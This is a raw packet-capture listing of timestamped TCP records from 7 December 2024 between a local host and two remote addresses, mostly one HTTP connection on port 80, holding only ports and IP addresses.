Dec 7, 2024 22:40:44.627485037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.627485991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.627525091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.628299952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.628346920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.628463030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.628509045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.629388094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.629441023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.629553080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.629601002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.630532980 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.630582094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.630655050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.630702019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.631357908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.631412983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.631526947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.631581068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.632281065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.632334948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.632395029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.632441998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.633121014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.633189917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.633198023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.633232117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.634030104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.634080887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.634116888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.634156942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.634932041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.634985924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.634994984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.635030985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.635937929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.635993004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.636132002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.636188030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.636846066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.636899948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.636949062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.637000084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.637862921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.637922049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.637994051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.638036966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.638709068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.638758898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.638834953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.638876915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.639698982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.639823914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.639853954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.639853954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.640642881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.640670061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.640695095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.640719891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.641635895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.641688108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.641720057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.641760111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.642497063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.642549038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.642633915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.642685890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.643939972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.643954039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.643991947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.644016027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.644376993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.644428968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.731817007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.731928110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.731996059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.732042074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.732211113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.732254028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.732449055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.732496023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.733145952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.733201027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.733535051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.733576059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.733612061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.733649969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.734421015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.734463930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.734477043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.734515905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.735399008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.735439062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.735502005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.735541105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.736303091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.736346960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.736423016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.736464977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.737252951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.737294912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.737364054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.737406969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.738286018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.738331079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.738394976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.738440037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.739197969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.739242077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.739254951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.739289999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.740103006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.740142107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.740171909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.740207911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.796273947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.796336889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.796350002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.796396971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.796696901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.796741009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.796885967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.796926022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.797626019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.797668934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.797740936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.797780991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.798569918 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.798610926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.798702955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.798742056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.799500942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.799540997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.799629927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.799671888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.800519943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.800563097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.800605059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.800642014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.801419973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.801474094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.801506042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.801557064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.802347898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.802386999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.802431107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.802469969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.803349972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.803392887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.803425074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.803463936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.804238081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.804280043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.804337025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.804373026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.805179119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.805218935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.805255890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.805291891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.806166887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.806210995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.806250095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.806284904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.807079077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.807127953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.807167053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.807207108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.808043003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.808087111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.808141947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.808191061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.808962107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.809017897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.809061050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.809103966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.809916019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.809962034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.809977055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.810014963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.810853958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.810906887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.810906887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.810954094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.811815023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.811870098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.811902046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.811944962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.812829971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.812880039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.812911034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.812947989 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.813683033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.813729048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.813757896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.813798904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.814609051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.814660072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.814698935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.814739943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.815562010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.815610886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.815658092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.815699100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.816540003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.816581011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.816641092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.816685915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.817471027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.817573071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.817598104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.817611933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.818406105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.818454981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.818475962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.818516016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.819355011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.819400072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.819442034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.819485903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.820305109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.820355892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.820389032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.820430040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.821223974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.821270943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.821302891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.821345091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.822267056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.822324038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.822396994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.822442055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.823163033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.823220968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.823235989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.823275089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.824069023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.824115038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.824170113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.824207067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.825006008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.825047970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.825083971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.825122118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.825930119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.825968027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.826064110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.826102018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.826913118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.826960087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.827009916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.827053070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.827884912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.827933073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.828156948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.828207016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.829078913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.829123020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.829158068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.829193115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.829727888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.829767942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.829834938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.829874039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.830661058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.830705881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.830775023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.830821991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.831680059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.831733942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.831758022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.831792116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.832544088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.832591057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.832645893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.832685947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.833528996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.833580971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.833595991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.833631039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.834532022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.834546089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.834574938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.834594011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.835393906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.835442066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.835580111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.835618019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.836297035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.836344957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.839068890 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.839570999 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.839576960 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.839608908 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840039968 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.840048075 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840280056 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840356112 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.840379000 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840508938 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.840538979 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840796947 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.840802908 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.840857983 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.840867996 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.923819065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.923924923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.923943043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.923988104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.924199104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.924251080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.924415112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.924462080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.924539089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.924587011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.925347090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.925398111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.925455093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.925503016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.926320076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.926367998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.926449060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.926495075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.927253962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.927303076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.927349091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.927395105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.928189993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.928237915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.928272009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.928316116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.929121017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.929167986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.929225922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.929267883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.930094004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.930140972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.930207968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.930253983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.931025982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.931073904 CET	49790	80	192.168.2.6	185.215.113.206
